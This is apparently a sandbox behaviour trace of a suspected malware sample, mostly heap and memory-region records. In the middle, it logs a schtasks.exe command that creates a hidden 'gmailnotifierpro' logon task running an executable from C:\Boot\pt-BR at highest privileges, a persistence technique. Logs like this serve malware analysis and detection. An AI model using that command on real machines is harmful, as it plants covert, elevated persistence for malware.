0x177cee70000 [0108.986] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b4d0) returned 1 [0108.986] GetProcessHeap () returned 0x177cee70000 [0108.986] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b4d0) returned 0x20 [0108.987] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b4d0) returned 1 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7a960) returned 1 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7a960) returned 0x16 [0108.987] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7a960) returned 1 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b680) returned 1 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b680) returned 0x20 [0108.987] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b680) returned 1 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7abc0) returned 1 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7abc0) returned 0x16 [0108.987] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7abc0) returned 1 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.987] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b6b0) returned 1 [0108.987] GetProcessHeap () returned 0x177cee70000 [0108.988] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b6b0) returned 0x20 [0108.988] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b6b0) returned 1 [0108.988] GetProcessHeap () returned 0x177cee70000 [0108.988] GetProcessHeap () returned 0x177cee70000 [0108.988] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee958a0) returned 1 [0108.988] GetProcessHeap () returned 0x177cee70000 [0108.988] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee958a0) returned 0x82 [0108.988] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee958a0) returned 1 [0108.988] GetProcessHeap () returned 0x177cee70000 [0108.988] GetProcessHeap () returned 0x177cee70000 [0108.988] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b8c0) returned 1 [0108.988] GetProcessHeap () returned 0x177cee70000 [0108.988] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b8c0) returned 0x20 [0108.989] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b8c0) returned 1 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7aac0) returned 1 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7aac0) returned 0xe [0108.989] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7aac0) returned 1 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7ba70) returned 1 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7ba70) returned 0x20 [0108.989] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7ba70) returned 1 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7a9e0) returned 1 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7a9e0) returned 0xa [0108.989] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7a9e0) returned 1 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b980) returned 1 [0108.989] GetProcessHeap () returned 0x177cee70000 [0108.989] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b980) returned 0x20 [0108.990] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b980) returned 1 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7a9a0) returned 1 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7a9a0) returned 0xc [0108.990] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7a9a0) returned 1 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b470) returned 1 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b470) returned 0x20 [0108.990] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b470) returned 1 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74410) returned 1 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.990] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74410) returned 0x18 [0108.990] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74410) returned 1 [0108.990] GetProcessHeap () returned 0x177cee70000 [0108.991] GetProcessHeap () returned 0x177cee70000 [0108.991] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee791d0) returned 1 [0108.991] GetProcessHeap () returned 0x177cee70000 [0108.991] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee791d0) returned 0x20 [0108.991] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee791d0) returned 1 [0108.991] GetProcessHeap () returned 0x177cee70000 [0108.991] GetProcessHeap () returned 0x177cee70000 [0108.991] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee791a0) returned 1 [0108.991] GetProcessHeap () returned 0x177cee70000 [0108.991] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee791a0) returned 0x20 [0108.992] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee791a0) returned 1 [0108.992] GetProcessHeap () returned 0x177cee70000 [0108.992] GetProcessHeap () returned 0x177cee70000 [0108.992] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee79050) returned 1 [0108.992] GetProcessHeap () returned 0x177cee70000 [0108.992] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee79050) returned 0x20 [0108.993] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee79050) returned 1 [0108.993] GetProcessHeap () returned 0x177cee70000 [0108.993] GetProcessHeap () returned 0x177cee70000 [0108.993] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee78fc0) returned 1 [0108.993] GetProcessHeap () returned 0x177cee70000 [0108.993] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee78fc0) returned 0x20 [0108.994] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee78fc0) returned 1 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.994] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74000) returned 1 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.994] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74000) returned 0x18 [0108.994] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74000) returned 1 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.994] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee79110) returned 1 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.994] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee79110) returned 0x20 [0108.994] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee79110) returned 1 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.994] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee79140) returned 1 [0108.994] GetProcessHeap () returned 0x177cee70000 [0108.995] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee79140) returned 0x20 [0108.995] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee79140) returned 1 [0108.995] GetProcessHeap () returned 0x177cee70000 [0108.995] GetProcessHeap () returned 0x177cee70000 [0108.995] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee78f60) returned 1 [0108.995] GetProcessHeap () returned 0x177cee70000 [0108.995] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee78f60) returned 0x20 [0108.996] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee78f60) returned 1 [0108.996] GetProcessHeap () returned 0x177cee70000 [0108.996] GetProcessHeap () returned 0x177cee70000 [0108.996] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee78ff0) returned 1 [0108.996] GetProcessHeap () returned 0x177cee70000 [0108.996] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee78ff0) returned 0x20 [0108.996] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee78ff0) returned 1 [0108.997] GetProcessHeap () returned 0x177cee70000 [0108.997] GetProcessHeap () returned 0x177cee70000 [0108.997] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee79020) returned 1 [0108.997] GetProcessHeap () returned 0x177cee70000 [0108.997] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee79020) returned 0x20 [0108.997] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee79020) returned 1 [0108.997] GetProcessHeap () returned 0x177cee70000 [0108.997] GetProcessHeap () returned 0x177cee70000 [0108.997] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74020) returned 1 [0108.998] GetProcessHeap () returned 0x177cee70000 [0108.998] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74020) returned 0x18 [0108.998] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74020) returned 1 [0108.998] GetProcessHeap () returned 0x177cee70000 [0108.998] GetProcessHeap () returned 0x177cee70000 [0108.998] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee78ed0) returned 1 [0109.001] GetProcessHeap () returned 0x177cee70000 [0109.001] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee78ed0) returned 0x20 [0109.001] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee78ed0) returned 1 [0109.001] GetProcessHeap () returned 0x177cee70000 [0109.001] GetProcessHeap () returned 0x177cee70000 [0109.001] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74eb0) returned 1 [0109.001] GetProcessHeap () returned 0x177cee70000 [0109.001] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74eb0) returned 0x18 [0109.002] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74eb0) returned 1 [0109.002] exit (_Code=0) Thread: id = 139 os_tid = 0x11ec Process: id = "9" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3dae7000" os_pid = "0x11f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"gmailnotifierpro\" /sc ONLOGON /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2484 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2485 start_va = 0x13e0700000 end_va = 0x13e077ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000013e0700000" filename = "" Region: id = 2486 start_va = 0x13e0800000 end_va = 0x13e09fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000013e0800000" filename = "" Region: id = 2487 start_va = 0x208f9200000 end_va = 0x208f921ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f9200000" filename = "" Region: id = 2488 start_va = 0x208f9220000 end_va = 0x208f9234fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f9220000" filename = "" Region: id = 2489 start_va = 0x208f9240000 end_va = 0x208f9243fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f9240000" filename = "" Region: id = 2490 start_va = 0x208f9250000 end_va = 0x208f9250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f9250000" filename = "" Region: id = 2491 start_va = 0x208f9260000 end_va = 0x208f9261fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f9260000" filename = "" Region: id = 2492 start_va = 0x7df5ff7e0000 end_va = 0x7ff5ff7dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff7e0000" filename = "" Region: id = 2493 start_va = 0x7ff6849f0000 end_va = 0x7ff684a12fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6849f0000" filename = "" Region: id = 2494 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2495 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2499 start_va = 0x208f9270000 end_va = 0x208f93cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f9270000" filename = "" Region: id = 2500 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2501 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2502 start_va = 0x208f9200000 end_va = 0x208f920ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f9200000" filename = "" Region: id = 2503 start_va = 0x7ff6848f0000 end_va = 0x7ff6849effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6848f0000" filename = "" Region: id = 2504 start_va = 0x208f93d0000 end_va = 0x208f948dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2505 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2506 start_va = 0x13e0780000 end_va = 0x13e07fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000013e0780000" filename = "" Region: id = 2507 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2508 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2509 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2510 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2511 start_va = 0x208f9490000 end_va = 0x208f956ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f9490000" filename = "" Region: id = 2512 start_va = 0x208f9210000 end_va = 0x208f9216fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f9210000" filename = "" Region: id = 2513 start_va = 0x208f9570000 end_va = 0x208f96b2fff monitored = 0 entry_point = 0x208f9598210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2514 start_va = 0x208f9270000 end_va = 0x208f9276fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f9270000" filename = "" Region: id = 2515 start_va = 0x208f92d0000 end_va = 0x208f93cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f92d0000" filename = "" Region: id = 2516 start_va = 0x208f9280000 end_va = 0x208f9292fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2517 start_va = 0x208f9570000 end_va = 0x208f98a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2518 start_va = 0x208f98b0000 end_va = 0x208f998cfff monitored = 0 entry_point = 0x208f990e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2519 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2520 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2521 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2522 start_va = 0x208f9490000 end_va = 0x208f94c8fff monitored = 0 entry_point = 0x208f94912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2523 start_va = 0x208f9560000 end_va = 0x208f956ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f9560000" filename = "" Region: id = 2524 start_va = 0x208f98b0000 end_va = 0x208f9a37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f98b0000" filename = "" Region: id = 2525 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2527 start_va = 0x208f92a0000 end_va = 0x208f92a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f92a0000" filename = "" Region: id = 2528 start_va = 0x208f92b0000 end_va = 0x208f92b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000208f92b0000" filename = "" Region: id = 2529 start_va = 0x208f9a40000 end_va = 0x208f9bc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f9a40000" filename = "" Region: id = 2530 start_va = 0x208f9bd0000 end_va = 0x208fafcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f9bd0000" filename = "" Region: id = 2531 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2532 start_va = 0x208f92c0000 end_va = 0x208f92c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f92c0000" filename = "" Region: id = 2533 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2534 start_va = 0x208f9490000 end_va = 0x208f9490fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000208f9490000" filename = "" Region: id = 2535 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2536 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2537 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 140 os_tid = 0x1204 [0108.633] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0108.633] __set_app_type (_Type=0x1) [0108.633] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0108.633] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0108.634] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0108.634] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0108.634] CsrIdentifyAlertableThread () returned 0x0 [0108.634] GetProcessHeap () returned 0x208f92d0000 [0108.635] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d4a30 [0108.635] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.635] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0108.635] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0108.635] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0108.635] RtlVerifyVersionInfo (VersionInfo=0x13e077f1d0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0108.635] GetProcessHeap () returned 0x208f92d0000 [0108.635] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d4a50 [0108.635] lstrlenW (lpString="") returned 0 [0108.635] GetProcessHeap () returned 0x208f92d0000 [0108.635] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x2) returned 0x208f92d4a70 [0108.635] GetProcessHeap () returned 0x208f92d0000 [0108.635] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d43e0 [0108.635] GetProcessHeap () returned 0x208f92d0000 [0108.635] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d4410 [0108.635] GetProcessHeap () returned 0x208f92d0000 [0108.635] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d4430 [0108.635] GetProcessHeap () returned 0x208f92d0000 [0108.635] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d4460 [0108.635] GetProcessHeap () returned 0x208f92d0000 [0108.635] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d3fd0 [0108.636] GetProcessHeap () returned 0x208f92d0000 [0108.636] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d9140 [0108.636] GetProcessHeap () returned 0x208f92d0000 [0108.636] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d4000 [0108.636] GetProcessHeap () returned 0x208f92d0000 [0108.636] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8f00 [0108.636] GetProcessHeap () returned 0x208f92d0000 [0108.636] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8ed0 [0108.636] GetProcessHeap () returned 0x208f92d0000 [0108.636] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8ff0 [0108.636] GetProcessHeap () returned 0x208f92d0000 [0108.636] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d8f90 [0108.636] GetProcessHeap () returned 0x208f92d0000 [0108.636] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d4020 [0108.637] GetProcessHeap () returned 0x208f92d0000 [0108.637] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92d9170 